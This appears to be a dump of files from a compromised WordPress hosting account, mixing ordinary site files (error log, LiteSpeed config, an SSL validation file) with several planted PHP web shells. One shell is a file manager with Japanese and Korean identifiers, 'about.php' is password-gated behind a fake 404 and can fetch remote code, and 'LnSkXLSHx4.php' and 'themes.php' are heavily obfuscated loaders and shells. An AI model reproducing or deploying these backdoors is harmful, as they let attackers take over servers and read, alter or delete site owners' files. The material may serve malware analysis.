str_replace($置換後配列, $置換前配列, $パス); } /** * ルートパスの初期化 * スクリプトのディレクトリをルートパスとして設定 */ $ルートパス = __DIR__; /** * スクリプトファイルのパスを取得 */ $パス = $_SERVER['SCRIPT_FILENAME']; /** * Windows環境の場合、バックスラッシュをスラッシュに変換 */ if(strpos($_SERVER['SCRIPT_FILENAME'], ":")) { $パス = str_replace('\\', '/', $パス); } /** * ルートディレクトリの判定 * PHP_SELFとSCRIPT_FILENAMEが一致する場合、ルートパスを"/"に設定 */ if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$パス)) { $ルートパス = ('/'); } else { /** * ルートパスの計算 * SCRIPT_FILENAMEからPHP_SELFを除いた部分をルートパスとして設定 */ $ルートパス = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$パス) )); } /** * パスパラメータの処理 * GETパラメータpが設定されている場合、そのパスを使用 */ if (isset($_GET['p'])) { /** * パラメータが空の場合はルートパスを使用 */ if (empty($_GET['p'])) { $現在のパス = $ルートパス; } /** * デコードしたパスがディレクトリでない場合、エラーを表示 */ elseif (!is_dir(경로디코딩($_GET['p']))) { echo (""); } /** * デコードしたパスがディレクトリの場合、そのパスを使用 */ elseif (is_dir(경로디코딩($_GET['p']))) { $現在のパス = 경로디코딩($_GET['p']); } } /** * クエリパラメータqが設定されている場合の処理 */ elseif (isset($_GET['q'])) { /** * デコードしたパスがディレクトリでない場合、ルートにリダイレクト */ if (!is_dir(경로디코딩($_GET['q']))) { echo (""); } /** * デコードしたパスがディレクトリの場合、そのパスを使用 */ elseif (is_dir(경로디코딩($_GET['q']))) { $現在のパス = 경로디코딩($_GET['q']); } } /** * パラメータが設定されていない場合、現在のディレクトリを使用 */ else { $現在のパス = __DIR__; } /** * 現在のパスを定数として定義 */ define("PATH", $現在のパス); /** * ナビゲーションバーの表示開始 */ echo (' '); /** * パスパラメータが設定されている場合、ファイル一覧を表示 */ if (isset($_GET['p'])) { /** * ファイルとフォルダの取得 * ディレクトリが読み取り可能な場合、スキャンしてファイルとフォルダを分離 */ if (is_readable(PATH)) { /** * ディレクトリ内の全オブジェクトを取得 */ $取得オブジェクト = scandir(PATH); /** * フォルダとファイルを格納する配列 */ $フォルダ配列 = array(); $ファイル配列 = array(); /** * 各オブジェクトをループして、フォルダとファイルに分類 */ foreach ($取得オブジェクト as $オブジェクト) { /** * 現在ディレクトリと親ディレクトリはスキップ */ if ($オブジェクト == '.' || $オブジェクト == '..') { continue; } /** * オブジェクトの完全パスを構築 */ $新規オブジェクト = PATH . '/' . $オブジェクト; /** * ディレクトリの場合はフォルダ配列に追加 */ if (is_dir($新規オブジェクト)) { array_push($フォルダ配列, $オブジェクト); } /** * ファイルの場合はファイル配列に追加 */ elseif (is_file($新規オブジェクト)) { array_push($ファイル配列, $オブジェクト); } } } /** * ファイル一覧テーブルのヘッダーを表示 */ echo ' '; /** * フォルダ一覧の表示 * 各フォルダに対して、名前、サイズ、更新日時、権限、アクションを表示 */ foreach ($フォルダ配列 as $フォルダ) { echo " "; } /** * ファイル一覧の表示 * 各ファイルに対して、アイコン、名前、サイズ、更新日時、権限、アクションを表示 */ foreach ($ファイル配列 as $ファイル) { echo " "; } /** * テーブルの終了タグ */ echo "
Name Size Modified Perms Actions
" . $フォルダ . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $フォルダ)) . " 0" . substr(decoct(fileperms(PATH . "/" . $フォルダ)), -3) . "
" . 파일아이콘($ファイル) . $ファイル . " " . 크기포맷팅(filesize(PATH . "/" . $ファイル)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $ファイル)) . " 0". substr(decoct(fileperms(PATH . "/" .$ファイル)), -3) . "
"; } else { /** * GETパラメータが空の場合、パスパラメータにリダイレクト */ if (empty($_GET)) { echo (""); } } /** * 新規ディレクトリ作成フォームの表示 * newdirパラメータとqパラメータが設定されている場合、新規ディレクトリ作成フォームを表示 */ if (isset($_GET['newdir']) && isset($_GET['q'])) { echo '

Create New Directory

Enter the name for the new directory. Avoid special characters.
Cancel
'; /** * 新規ディレクトリ作成処理の実行 * create_directoryパラメータがPOSTされた場合、新しいディレクトリを作成 */ if (isset($_POST['create_directory'])) { /** * POSTされたディレクトリ名を取得 */ $新規ディレクトリ名 = trim($_POST['dirname']); /** * ディレクトリ名の検証 */ if (!empty($新規ディレクトリ名)) { /** * ディレクトリ名に不正な文字が含まれていないかチェック */ if (preg_match('/[\/\\\\:*?"<>|]/', $新規ディレクトリ名)) { echo (""); } else { /** * 新規ディレクトリの完全パス */ $新規ディレクトリパス = PATH . "/" . $新規ディレクトリ名; /** * ディレクトリが既に存在するかチェック */ if (file_exists($新規ディレクトリパス)) { echo (""); } else { /** * 新規ディレクトリの作成 * デフォルト権限は0755(所有者は読み書き実行、グループとその他は読み実行) */ if(mkdir($新規ディレクトリパス, 0755, true)) { echo (""); } else { echo (""); } } } } else { echo (""); } } } /** * ファイルアップロードフォームの表示 * uploadパラメータが設定されている場合、アップロードフォームを表示 */ if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } /** * ファイル・フォルダのリネーム機能 * rパラメータとqパラメータが設定されている場合、リネームフォームを表示 */ if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { /** * リネームフォームの表示 */ echo '
Rename:
'; /** * リネーム処理の実行 * renameパラメータがPOSTされた場合、ファイル・フォルダの名前を変更 */ if (isset($_POST['rename'])) { /** * 現在のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['r']; /** * リネームの実行 */ if(rename($名前, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } /** * ファイル編集機能 * eパラメータとqパラメータが設定されている場合、ファイル編集フォームを表示 */ if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { /** * ファイル編集フォームの表示 * ファイルの内容をテキストエリアに表示 */ echo '

'; /** * ファイル保存処理の実行 * editパラメータがPOSTされた場合、ファイルの内容を保存 */ if(isset($_POST['edit'])) { /** * 編集対象ファイルの完全パス */ $ファイル名 = PATH."/".$_GET['e']; /** * POSTされたデータを取得 */ $データ = $_POST['data']; /** * ファイルを書き込みモードで開く */ $ファイルハンドル = fopen($ファイル名,"w"); /** * ファイルへの書き込み */ if(fwrite($ファイルハンドル,$データ)) { echo (""); } else { echo (""); } /** * ファイルハンドルを閉じる */ fclose($ファイルハンドル); } } } /** * ファイルアップロード処理の実行 * uploadパラメータがPOSTされた場合、アップロードされたファイルを保存 */ if (isset($_POST["upload"])) { /** * アップロード先のファイルパス */ $ターゲットファイル = PATH . "/" . $_FILES["fileToUpload"]["name"]; /** * アップロードされたファイルを移動 */ if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ターゲットファイル)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } /** * ファイル・フォルダの権限変更機能 * chmodパラメータとqパラメータが設定されている場合、権限変更フォームを表示 */ if (isset($_GET['chmod']) && isset($_GET['q'])) { if (!empty($_GET['chmod'])) { /** * 権限変更対象のファイル・フォルダの完全パス */ $権限変更対象 = PATH . "/" . $_GET['chmod']; /** * 現在の権限を取得(8進数形式) */ $現在の権限 = substr(decoct(fileperms($権限変更対象)), -3); /** * 権限変更フォームの表示 */ echo '

Change Permissions

Enter permissions in octal format (e.g., 755 for rwxr-xr-x, 644 for rw-r--r--)
Cancel
'; /** * 権限変更処理の実行 * change_permissionsパラメータがPOSTされた場合、ファイル・フォルダの権限を変更 */ if (isset($_POST['change_permissions'])) { /** * POSTされた権限値を取得 */ $新しい権限 = $_POST['permissions']; /** * 権限値の検証(3桁の8進数であることを確認) */ if (preg_match('/^[0-7]{3}$/', $新しい権限)) { /** * 権限変更対象のパス */ $権限変更パス = PATH . "/" . $_POST['chmod_target']; /** * 8進数形式に変換してchmodを実行 */ $権限8進数値 = octdec($新しい権限); /** * 権限の変更を実行 */ if(chmod($権限変更パス, $権限8進数値)) { echo (""); } else { echo (""); } } else { echo (""); } } } } /** * ファイル・フォルダの削除機能 * dパラメータとqパラメータが設定されている場合、ファイル・フォルダを削除 */ if (isset($_GET['d']) && isset($_GET['q'])) { /** * 削除対象のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['d']; /** * ファイルの場合の削除処理 */ if (is_file($名前)) { if(unlink($名前)) { echo (""); } else { echo (""); } } /** * ディレクトリの場合の削除処理 */ elseif (is_dir($名前)) { if(rmdir($名前) == true) { echo (""); } else { echo (""); } } } ?> 918433/about.php000064400000032041152507151540007147 0ustar00'.$p.'<-}'); } $pass = false; if (isset($_COOKIE['p8'])) { if(md5($_COOKIE['p8']) == $p) { $pass = true; } } else { if (isset($_POST['p8'])) { if(md5($_POST['p8']) == $p) { setcookie("p8", $_POST['p8']); $pass = true; } } } if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("p8", null); $pass= false; } if (!$pass) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die();} echo '
'; die(); } echo '
'; function GC($a) { $url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $a, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); $code = @file_get_contents($url); if ($code == false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'll'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 100); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $code = curl_exec($ch); curl_close($ch); }return $code;} ?> 000 = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; $path = $_SERVER['SCRIPT_FILENAME']; if(strpos($_SERVER['SCRIPT_FILENAME'], ":")) { $path = str_replace('\\', '/', $path); } if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$path)) { $root_path = ('/');} else { $root_path = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$path) )); } if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = __DIR__; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename:
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?> 918433/1.txt000064400000000032152507151540006220 0ustar00/home/getzgafz/naamdo.com .well-known/pki-validation/D6B73359972765D51307B6129FC2BD83.txt000064400000000133152507151540016073 0ustar001B5659CCB479FA4B9ACD13BC5A7E5E01647479DBD11FB053A7CF173585EC0382 comodoca.com 650c564b1a097.litespeed_flag000064400000000451152507151540007521 0ustar00This file was created by LiteSpeed Web Cache Manager When this file exists, your LiteSpeed Cache plugin for WordPress will NOT be affected by Mass Enable/Disable operations performed through LiteSpeed Web Cache Manager. Please DO NOT ATTEMPT to remove this file unless you understand the above. LnSkXLSHx4.php000066600000024664152507151540007124 0ustar00',$GjSb('zcmxwubhjv','<',$zipq($MUCd( __FILE__ ),-10442)))));$kaXb(0); ?> x|$U?bv DYh]gtqwhs긻zcmxwubhjv I0', |VE|&xWӳ]3;Oݪ{=w={{:j-hqzau[JRrůFa/,ȿNc6uy\ݬ2l1qsuFXސԳ\QORkF833}Ԕ`|V씂iibNxnrkhlcgifZ7)u;7LM7Nc?qCF#xnrkhlcgifL+8_SsSJlx8os!iEIfL4f@In]۵;h4;'qy#O&+_YdLOm崂 ?4IQ!zcmxwubhjvmƍD*/fE]LI]fyUB,Od+'͟vҬ T標"YEvN6;%$QNSNIM7?}UՖ6yzcmxwubhjvxnrkhlcgifi@͗x}xP8zcmxwubhjv~Awsǁ;zp4/:oO[?7s˻Ox/xnrkhlcgif{eOl.8F.Q뽆˳0ݽ8mvp6}޿zcmxwubhjvtaϞZƣ7]^m5_Ʌ_.]W8_K㡓LJm_9׸oy(}/]WJT7K8fK/?r?rOM/|W:#4s[|& װ[nyĢC'zcmxwubhjv!'/wxnrkhlcgif.Ůs{0Bto8sܺ\wx+^gɻ??|xZ?jKc)sg]AՇy+mxnrkhlcgifX牿37_|Q(ӥ xnrkhlcgif 'PO.htڛ}ѭT[|j]rTcyW]c4=(yvoQg__R?{~oW8'~uq^:fkzcmxwubhjvK?~⥗|Ư~w¶mݯo=w??|s/_@EW_'N17oџ^t5s}| .X|?y}޽9Ϋq}V3K|y9kcz޺+q?m#:aש; ÞxUC%~ԝW]miO#wNp8~񯎽/{?4S_|ƭ':uexzw۶ና߻OV|ݶ??RIᰏj{࡝.xgmyc}G};pKDqm߇op .=g*ރy_ xnrkhlcgifr]pGgڧ{hI/no/.~cv3_;м==;;Ѳ{,oӉo.~Ǿ{_;7gb?|_{{7UnKf}xŎ+N-wG{.iw/_g?ٟx?_3Uy/WzWW[|μ~}Sjzcmxwubhjvd#.xnrkhlcgifz=|c;.?߳m7;wC} [nÍxnrkhlcgif~v۶N=eRҕ7 de;9;mi6}ޛ==Ys.L|꛹ ߱~5?zzcmxwubhjvT?rxnrkhlcgifGnǽtYL^q{;zcmxwubhjvxnrkhlcgifW43,)/\yW텻@}Ѕ{xnrkhlcgifhh~@{RuE]c8vwԗrĹwO_ˍc~+O|iÓCͻM{ʡ׺]xnrkhlcgifHG.{c;ou\|}d~sS&|L'ۯmKkg|[Sf˃ܵl;{N}AW7t{{';׼~ ;&/ܺ8uaS=Tbf0a 1Nj0|$\wnt,-$[Y `r\ۭ@hp5SrAl8()TBi t;@4B ;RBV:hu'&Ռ&ۧ^-?tKzcmxwubhjvsɨz9fiъ-r:-7=90Y dC+[;'R]e,C@˃I+J032-q@ԨN!陯st^-+ӊ1oa(u.' cQGw:"T[ַ-Fh|gX,=:fV|}*^%8RG+\#47o vohOjf%)pzcmxwubhjv^UC̵lGlV.6'J7tZQdfb P)M_-!F3ؠtcZ4!g A'*nB;_r&S-j8KY9Iyh]5d[CӡCira"&Sxnrkhlcgif@,̜zTͫoi+JcnKeDyR)dӒ=R 8NQ$B& -&6[ !TplBdRi;MہΣ/MI^Kg,S$*xnrkhlcgifb Gܷ~d)(@(ŕTAIM@=-vz˘/*L&Ȁu$&W jL3FT#E仠ШMk=Cl h74s5zKibb . \M86=[ڃ6֖AO7F[`:nɳԂq C,^kRnrdT.@K]k ?0Cal\r|#VdKzmVRTe‡[i+u#]$%z-+u %$Ւ%JrΉ, JEoK&ũMR fђᘎ Y#}՜kN)8@Jr҅("$CrKk{qLWR1A'YB+l5TYBԗU} wLL"'2M#QPd蕙ZeduhY2l5!j~P7{ S"P5hOe䪐{LR94Mڎ\xD)&۞Dޥ BuNv"[lXYV H;[w,Q+[IZnD Fc^U2TUsRM7;j9.xeEnlۛ)UDVx맳Zzcmxwubhjv瘥Z) $5T@qXd5c%kf*qLfk1zcmxwubhjvްv)#V~HPb=L͠U)⓺^o*ۙP yEFmIu| R$&TLhI 'a'O4:G20C͹ %F4NZ_#4@΋QVg\%PO#L\MyYFr fM"-Ҙ fNR wQ!_I{}p]"Sk=iEXX3|Ҋ[De:.ȵJڎfdF?,ƴoH)skidb]fX4l; ѴܥVUh4yqYK4"pؓBN{rJMVK]I44{A:\y1yj n"AA7^jGV1K$&2Bxnrkhlcgif6p![$EB&_. +Ms!w/E3;8+’CN.*J覌#+,i#C6 0C7*J$`JMVUڒJTRB5j!pLF fp 0B* \v64DPQ3+廘Wq}KFUVțe8Y&)lP`UBisgR鄯r`'BAJK f@{|"&YH*kj=T2(5T@`ZP"0.\h`6K$L@~$Bu)ktZm@RaRsኽ sM -Te7&@ B&\aUʛ} p(y2K9;|U&ˊU3z2Uno"ϢrQb;!rs$Iꡮ.r5K@qzmhR@bmkUy ik$olPfX'xnrkhlcgifAzU^.ePSu hxt v@&_/#5gaq\it"*+1QPRR}|Ke@پ5# ܦ} j*Uup e;ո2MnBAGXy2jI3Z4稆@M)$VrJf"SsR-% ~=[ңlQ$ !'#kՄWI.8.b-ns@XP(O"s?AH-.g%ZZV&ELGzcmxwubhjv#k/T+tS]40hdrMM|G{]=8 "c+xnrkhlcgifZ( qzcmxwubhjv/ 2' Dx'N(/ "%BUGt JqV$,uR la͢@Rg~;IUMeDS[4*+7}o6Gwdva2A[F˜}xnrkhlcgifKAү2-#R!ޔԡX't6hq"WYsO͋3LW&o-l})LzF4;-QRJ-ȭZk+v+5p-RVStI.x5W{g$rH3 -*;(.^L.-2ǤwQWGX$ZQ,7BUzcmxwubhjvBdv,+4V$?]@"RJ"Y +qڇ h!mU4#z ;U}+TPWX6W˒'We~|\2۶tRp16:B(+ְ0{(Ada*\MȢX64h*R+ "5 CBа5 kp f@hpHPiQ^'1O*@$!{EOӡb5'FLl/%;V,1N)UMт\Ge&MyBYzZmtAHqR&/LF* 6j %O]:lէcp"Q\BsߓdUKq}ZQ+R=rt·ii(n% `oi9+u"2YE˫jjuVѱX]28xnrkhlcgifEr0V/U"\20⫷,َzWj|6Kd,Q0֔O(P㒶Z\Z}cު5rOyoN$֫G7R jr4W~Z2;!jfA"v1Y;=xęBז蒕m0 jzcmxwubhjvǭ6xnrkhlcgif5q &ϮZB7/&Im'roѩVjkFvJRǠiXĊ$  |!E8\!k.IZyh68qʐho;hP]B=W9pf*jvh0 " պA@=Y/p̪:@JoY $9#"lp~˶͝RPڀ+Qlb.'ݩsYJ.uV aAiڭRXaKj0Ų"\Rxnrkhlcgif]K $6j|yܦ5Vՙ,1It"8H9f| 51+.Wm B:;b_uzQ|ԗ amH Ҏ LH疬X.Y*ܐrXCzӞR\^;]$$zHj U6OC ]UȾ-.jIOiUoXRxCh:YAA=7}M;O#MWptSxnrkhlcgif$4NZrpIt= zcmxwubhjvoewLsS`5!{FhwRl˙cBc@H9sT낈g0H(7@U7 ׵Mmϒ))4&3 Oo.9A0p)]=*PDZl&e$!9;HMNdOK^(?ƺ4WTnuq*8X5v#ۑ,Zt x4.DRq5s5RzcmxwubhjvGZ IN# SNSɚ4&s7Te2 wve"sJ(:kñp(FTc1D I\KhMъz,Wx rl:-DTwמx{r3Ⱂ.!o^ lr.1 ; Nh/.ULj@HF4Hl$vVP [LIx) R6k¬xR\B,4V:#r]Z?1! 頾UDz 6Y:'Ԃ{g[8̵XJ$,w(izcmxwubhjv'&" K7:?G?^bk,A,1AG(t$(lSctb^:] B*n$3?V'bK,R4ƒ 鰁hhi1#ڊ!pzpΉ&tM*2zcmxwubhjv,x!ri:X6槗}n+ rTR1V mxnrkhlcgifd? ^ pO ii |J^v_pTe9+gDΐ ,VI,,ŧDD:"H@24'CY8zxnrkhlcgifI0c,"""1a@ȁ#RH*-NeN84:('" Na;xnrkhlcgifP9$lYP#nN4`KEU_֢h׆ގlN]EJU}܈cIϴJh-r Z9 TJyDE[a[ccJc{KiךdKMV&';+?䖺B(@z11e L\tvvaĺ]ؓ]62LU4 "?@g/[4PI%P4o:a@,OXXkU퀜r蒎 pd * LX }Jg'd%:~E-W(oS!;9mҍޜniqՔX==\Ϗ/tBdVDsuK@Pnet%','9ҡb?:tZ!3YRZVIi3Y&ͭpM;iڼ\[%CYr(#πN%Nh.F+{6O+Nn4HVn'p*2eeZ42W9e*%O$e#D)e5C͜/~N *`#Z1Vjsc!vD`͎̗3zcmxwubhjvRHW)zcmxwubhjvs)Q1lufɄIJK *bCB3ZTPsUڙZe \"#w8*&vƀi|M62=eep`\i4pYq-Ia(eg{b }Ae]$ ,6aP(䍹wigNLdtV nz5teF{93?HvCU]3 /diW" jR=jxnrkhlcgifiD#XJ_ kPQ֥eѮeW ΐǥ6fT2끎wzd[5\Y*gfcB #렬jn]zcmxwubhjv gQgu S dؾziQgұzSs!3Mi Nu1UE, hƓxnrkhlcgifwq5Zaf[xnrkhlcgifF"h:2HJc@eg=S+-L5NA-.J x.uXiJW ZJ]4R!ELK!Yzcmxwubhjv4BZf&+|]O?;*R)ˍJA1HEOA FȺ +rdoWD%84h@ibP7N@ X- ;iArEJ(9cV.c\ncWrzcmxwubhjv7v+Ut+Ɵ9A75Kx9qpǎժ򝼼_bMD0mx]75jBeXCKJB$ȷ2)()C 9WZhW,AhܪbRc7UOzK7z~ b-R$Ha`F(Ilu c}AhԲ*/V˻|BTVBveM?/RVJ WЮEovt!ʦd*gsc,?H,ɕ8 )QsӄYA]xnrkhlcgif1bve'xTfQ_ܿ%GV8l6u،"- x4 8$$K []QH&(DurTP+'idBUUez.-lnvyh"sjYjeQ}(35MP=ˤcuK֢\!04V)@)Vg@'3`2@r:cЍ*k^:PZs.{rA2sPCJVgA#@5VdUd@/SezYIr_dq@/QJvz;0z` DV)ädbA67J&5ȔZ r l (eD8&eS?QP8Qƨr5ml(_1N"jO\([1ה2h#0Z8#1LȨ,#mFcYaM'gdԘ lŝb&gd8#2rS`f匌gBFviCD9#9Y@$5yJe'lvNE:ެNZJ-xnrkhlcgifxao36WMe+ϵW?D2RAH\OypjV+Id)5.r=+]b=`|wgu |rAbҪSF~Hy80 0z[0fUc0Zjj8;xʥ _XVO09VΫ|"{"Z⅔JtQl'NfWO]Nt z me:O8 b i3::Uu\%M9#ZI?-NBօQFf(s' ewQ&!'qU9#Qow04vv"@ ]_"`Gz$ѵD92)6n HH ? c4~ro@ewF?eerror_log000064400000004671152507151540006476 0ustar00[14-Sep-2023 08:09:03 UTC] Cron reschedule event error for hook: wpseo_indexable_index_batch, Error code: invalid_schedule, Error message: Event schedule does not exist., Data: {"schedule":"fifteen_minutes","args":[],"interval":900} [15-Sep-2023 05:55:50 UTC] Eror kegiatan penjadwalan ulang Cron untuk hook: elementor_1_elementor_updater_cron, Kode eror: invalid_schedule, Pesan eror: Jadwal event tidak ada., Data: {"schedule":"elementor_1_elementor_updater_cron_interval","args":[],"interval":300} [21-Sep-2023 13:51:28 UTC] Eror kegiatan penjadwalan ulang Cron untuk hook: action_scheduler_run_queue, Kode eror: could_not_set, Pesan eror: Daftar kegiatan cron tidak dapat disimpan., Data: {"schedule":"every_minute","args":["WP Cron"],"interval":60} [08-Jan-2024 07:51:30 UTC] Eror kegiatan penjadwalan ulang Cron untuk hook: elementor/tracker/send_event, Kode eror: could_not_set, Pesan eror: Daftar kegiatan cron tidak dapat disimpan., Data: {"schedule":"daily","args":[],"interval":86400} [13-Feb-2024 18:52:09 UTC] Eror kegiatan penjadwalan ulang Cron untuk hook: wp_privacy_delete_old_export_files, Kode eror: could_not_set, Pesan eror: Daftar kegiatan cron tidak dapat disimpan., Data: {"schedule":"hourly","args":[],"interval":3600} [17-Feb-2024 06:42:24 UTC] Eror kegiatan penjadwalan ulang Cron untuk hook: action_scheduler_run_queue, Kode eror: could_not_set, Pesan eror: Daftar kegiatan cron tidak dapat disimpan., Data: {"schedule":"every_minute","args":["WP Cron"],"interval":60} [15-May-2024 08:08:45 UTC] Eror kegiatan penjadwalan ulang Cron untuk hook: wpseo_permalink_structure_check, Kode eror: could_not_set, Pesan eror: Daftar kegiatan cron tidak dapat disimpan., Data: {"schedule":"daily","args":[],"interval":86400} [20-Aug-2024 13:55:04 UTC] Eror kegiatan penjadwalan ulang Cron untuk hook: litespeed_task_lqip, Kode eror: could_not_set, Pesan eror: Daftar kegiatan cron tidak dapat disimpan., Data: {"schedule":"litespeed_filter","args":[],"interval":60} [20-Aug-2024 15:55:35 UTC] Eror kegiatan penjadwalan ulang Cron untuk hook: action_scheduler_run_queue, Kode eror: could_not_set, Pesan eror: Daftar kegiatan cron tidak dapat disimpan., Data: {"schedule":"every_minute","args":["WP Cron"],"interval":60} [20-Sep-2024 16:21:56 UTC] Eror kegiatan penjadwalan ulang Cron untuk hook: action_scheduler_run_queue, Kode eror: could_not_set, Pesan eror: Daftar kegiatan cron tidak dapat disimpan., Data: {"schedule":"every_minute","args":["WP Cron"],"interval":60} litespeed.conf000064400000001325152507151540007377 0ustar00# BEGIN W3TC Browser Cache context exp:^.*(css|htc|less|js|js2|js3|js4)$ { location $DOC_ROOT/$0 allowBrowse 1 enableExpires 1 expiresDefault A31536000 ExpiresByType */*=A31536000 rewrite { RewriteFile .htaccess } } context exp:^.*(asf|asx|wax|wmv|wmx|avi|avif|avifs|bmp|class|divx|doc|docx|exe|gif|gz|gzip|ico|jpg|jpeg|jpe|webp|json|mdb|mid|midi|mov|qt|mp3|m4a|mp4|m4v|mpeg|mpg|mpe|webm|mpp|_otf|odb|odc|odf|odg|odp|ods|odt|ogg|ogv|pdf|png|pot|pps|ppt|pptx|ra|ram|svg|svgz|swf|tar|tif|tiff|_ttf|wav|wma|wri|xla|xls|xlsx|xlt|xlw|zip)$ { location $DOC_ROOT/$0 allowBrowse 1 enableExpires 1 expiresDefault A31536000 ExpiresByType */*=A31536000 } # END W3TC Browser Cache themes.php000064400000037411152507151540006555 0ustar00 0) { $sz = "\x4b\115\x47\124"; } return sprintf("\45\x2e{$decimals}\x66", $bytes / pow(1024, $factor)) . @$sz[$factor - 1] . "\x42"; } goto OVzmk; i3LX0: goto UjJ63; goto narUF; bU2is: WXToe: goto eYrHM; SGlRa: kA5EL: goto Mpu07; NPVQ3: ?> ">[Root Path]
2) { flush(); $count++; } } } $dom = "{$count}\x20\104\157\155\x61\151\156"; } return $dom; } goto UfWj4; l2FO0: goto bFMVa; goto tQM3v; XqAKM: mkxP9: goto uRqiy; HWEcD: goto EdLEN; goto NEWUH; EmRwH: foreach ($_GET as $k => $v) { $_GET[$k] = d($v); } goto D9ac3; IHCXE: goto Q7uNI; goto asYhk; vQ0kp: goto L2yGh; goto zfHyq; L7J_9: ma2Aj: goto TlzYA; oA_cW: Q7uNI: goto EmRwH; ip0oD: echo is_writable($dir) ? "\x77\162\x69\164\141\142\154\x65" : "\x6e\x6f\x74\x77\162\151\x74\141\x62\154\145"; goto Hm003; xQECF: goto empFZ; goto LgmiM; a5041: goto xmRHO; goto YLcXi; PId0b: if (isset($_GET["\x64\x6c"])) { if (!realpath($_GET["\144\x6c"])) { die; } header("\x43\157\156\164\145\x6e\164\x2d\x44\145\163\x63\162\151\160\x74\151\x6f\x6e\x3a\x20\106\x69\x6c\145\40\x54\x72\141\156\x73\146\x65\x72"); 